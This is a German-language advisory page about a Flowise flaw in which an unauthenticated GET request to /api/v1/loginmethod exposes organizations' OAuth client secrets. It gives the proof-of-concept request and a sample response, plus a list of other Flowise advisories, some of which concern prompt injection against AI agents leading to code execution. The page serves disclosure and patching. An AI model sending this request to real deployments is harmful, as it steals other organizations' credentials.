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Mittel

Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request

  • Veröffentlicht: 16.04.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

I have discovered a critical Missing Authentication vulnerability on the /api/v1/loginmethod endpoint. The API allows unauthenticated users (guests) to retrieve the full SSO configuration of any organization by simply providing an organizationId. The response includes sensitive OAuth credentials (Client Secrets) in cleartext.

PoC

The following request can be sent by anyone on the internet without any cookies or authorization headers.

Request

http
GET /api/v1/loginmethod?organizationId=<any_organization_id> HTTP/2
Host: cloud.flowiseai.com
Accept: application/json
Content-Type: application/json

Response: The server returns 200 OK with sensitive credentials:

js
{
  "providers": [
    {
      "id": "a04ba769-b810-481d-8d6b-84f8c377dea5",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "azure",
      "config": {
        "tenantID": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "eda8bd90-1c45-4aca-933f-3a53d9be4161",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "google",
      "config": {
        "clientID": "123455",
        "clientSecret": "123455"
      },
      "status": "enable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "0d238df0-c89c-4733-bf57-6ec06f58c7e7",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "auth0",
      "config": {
        "domain": "",
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    },
    {
      "id": "e060ae88-c7f4-4b7c-9bdc-5321963a1648",
      "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
      "name": "github",
      "config": {
        "clientID": "",
        "clientSecret": ""
      },
      "status": "disable",
      "createdDate": "2025-12-26T18:52:33.453Z",
      "updatedDate": "2025-12-26T19:31:56.087Z",
      "createdBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2",
      "updatedBy": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2"
    }
  ],
  "callbacks": [
    {
      "providerName": "azure",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/azure/callback"
    },
    {
      "providerName": "google",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/google/callback"
    },
    {
      "providerName": "auth0",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/auth0/callback"
    },
    {
      "providerName": "github",
      "callbackURL": "https://cloud.flowiseai.com/api/v1/github/callback"
    }
  ]
}

Affected Deployments

  • FlowiseAI Cloud (cloud.flowiseai.com)
  • Self-hosted FlowiseAI instances where the /api/v1/loginmethod endpoint is exposed

Impact

An unauthenticated attacker can harvest sensitive API secrets (Google, Microsoft, GitHub Client Secrets) from any organization on the cloud platform. This leads to complete compromise of the organization's third-party integrations and potential data breaches.

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
npm-Paket flowise < 3.1.0 3.1.0

Verweise

CVSS-Wert 5.3/10
CVSS-Vektor
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Schwäche (CWE)
CWE-306, CWE-312
Plattform
npm
Paket
flowise
Veröffentlicht
16.04.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-6pcv-j4jx-m4vx - CC BY 4.0

Schwachstellenhistorie: flowise

Alle veröffentlichten Schwachstellen dieses Pakets (npm-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (114) im Archiv
Einträge insgesamt
114
Erste → letzte
04.2024 10.2026
Ohne Fix
16
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 28
  • Hoch 62
  • Mittel 24

Veröffentlichungen pro Jahr

Schweregrad:
  1. Flowise: Unauthenticated Information Disclosure of OAuth Secrets (Cleartext) via GET Request dieser Eintrag
    Mittel · 5.3 CVE-2026-56270 < 3.1.0 3.1.0
  2. Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
    Kritisch CVE-2026-73487 < 3.1.3 3.1.3
  3. Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
    Kritisch CVE-2026-73483 < 3.1.3 3.1.3
  4. Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
    Kritisch CVE-2026-70478 < 3.1.3 3.1.3
  5. Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
    Kritisch CVE-2026-70477 < 3.1.3 3.1.3
  6. Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
    Hoch CVE-2026-70476 < 3.1.3 3.1.3
  7. Flowise: Missing Authorization on Execution Update Endpoint
    Hoch CVE-2026-70475 < 3.1.3 3.1.3
  8. Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
    Hoch CVE-2026-70474 < 3.1.3 3.1.3
  9. Flowise: Information Disclosure in GET /api/v1/upsert-history returns the entire server-wide upsert history
    Hoch CVE-2026-70473 < 3.1.3 3.1.3
  10. Flowise: Cross-workspace credential IDOR in openai-assistants-vector-store
    Hoch CVE-2026-70472 < 3.1.3 3.1.3
  11. Flowise: RCE via CSVAgent csvFile data URI base64 segment is interpolated into Python source without validation
    Kritisch CVE-2026-69264 < 3.1.3 3.1.3
  12. Flowise: Authenticated arbitrary file write in the `S3 Directory` document loader via unsanitized S3 object keys
    Hoch ghsa-88pr-878c-24wf < 3.1.3 3.1.3
  13. Flowise: RBAC Bypass Leading to Unauthorized Workspace Variables Disclosure
    Hoch CVE-2026-70471 < 3.1.3 3.1.3
  14. Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE
    Kritisch CVE-2026-70470 < 3.1.3 3.1.3
  15. Flowise: CVE-2025-8943 Patch Bypass: npm_config_yes bypasses MCP environment variable blocklist (Unauthenticated RCE)
    Hoch CVE-2026-69263 < 3.1.3 3.1.3
  16. Flowise: `DELETE /api/v1/chatflows/:id` does not validate resource type, allowing `agentflows:delete` and `chatflows:delete` to delete each other’s flow type
    Hoch CVE-2026-69262 < 3.1.3 3.1.3
  17. Flowise RCE via SQLite Record Manager Node
    Kritisch CVE-2026-69259 < 3.1.3 3.1.3
  18. Flowise: Unauthenticated Property Injection into Flow Execution Context via Ungated `overrideConfig` Spread in Prediction API
    Hoch CVE-2026-69258 < 3.1.3 3.1.3
  19. Flowise: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses
    Hoch CVE-2026-69257 < 3.1.3 3.1.3
  20. Flowise: Remote Code Execution Vulnerability in CSVAgent
    Kritisch CVE-2026-69256 < 3.1.3 3.1.3
  21. Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified
    Kritisch CVE-2026-69255 < 3.1.3 3.1.3
  22. Flowise: RCE via NodeVM Sandbox Escape in executeJavaScriptCode() nodeVMOptions Override
    Kritisch CVE-2026-69254 < 3.1.3 3.1.3
  23. Flowise Sandbox Escape to RCE
    Kritisch CVE-2026-69253 < 3.1.3 3.1.3
  24. Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization
    Hoch CVE-2026-69252 < 3.1.3 3.1.3
  25. Flowise RCE via TypeORM DataSource
    Kritisch CVE-2026-69251 < 3.1.3 3.1.3
  26. Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
    Hoch CVE-2026-69250 < 3.1.3 3.1.3
  27. FlowiseAI: Evaluator create+update mass-assignment allows cross-workspace evaluator takeover
    Hoch · 8.8 CVE-2026-46480 < 3.1.2 3.1.2
  28. FlowiseAI: Evaluation create+update mass-assignment allows cross-workspace evaluation takeover
    Hoch · 8.8 CVE-2026-46479 < 3.1.2 3.1.2
  29. FlowiseAI: DatasetRow create+update mass-assignment allows cross-workspace row takeover
    Hoch · 8.8 CVE-2026-46478 < 3.1.2 3.1.2
  30. FlowiseAI: Dataset create+update mass-assignment allows cross-workspace dataset takeover
    Hoch · 8.8 CVE-2026-46477 < 3.1.2 3.1.2
  31. FlowiseAI: CustomTemplate create+update mass-assignment allows cross-workspace template takeover
    Hoch CVE-2026-46476 < 3.1.2 3.1.2
  32. FlowiseAI: Assistant create+update mass-assignment allows cross-workspace assistant takeover
    Hoch · 8.8 CVE-2026-46475 < 3.1.2 3.1.2
  33. FlowiseAI: Vector Store No Permission Checks
    Hoch · 8.8 CVE-2026-46444 < 3.1.2 3.1.2
  34. FlowiseAI Vulnerable to Credential Data Leak
    Hoch CVE-2026-46443 < 3.1.2 3.1.2
  35. FlowiseAI: Authenticated Host RCE via POST /api/v1/node-custom-function and NodeVM Sandbox Escape
    Kritisch CVE-2026-46442 < 3.1.2 3.1.2
  36. FlowiseAI has Mass Assignment in Assistant Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Hoch CVE-2026-46441 < 3.1.2 3.1.2
  37. Flowise has an MCP Security Bypass that Enables RCE
    Hoch CVE-2026-56274 < 3.1.2 3.1.2
  38. FlowiseAI Exposes Basic Auth Credentials via API
    Hoch · 7.5 CVE-2026-46440 < 3.1.2 3.1.2
  39. FlowiseAI has Mass Assignment in Chatflow Update Endpoint that Allows Cross-Workspace AgentFlow Reassignment
    Hoch CVE-2026-42863 < 3.1.2 3.1.2
  40. FlowiseAI has Mass Assignment in Tool Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Hoch CVE-2026-42862 < 3.1.2 3.1.2
  41. FlowiseAI has Mass Assignment in Variable Update Endpoint that Allows Cross-Workspace Resource Reassignment
    Hoch CVE-2026-42861 < 3.1.2 3.1.2
Mehr anzeigen (20) 41 von 91 angezeigt

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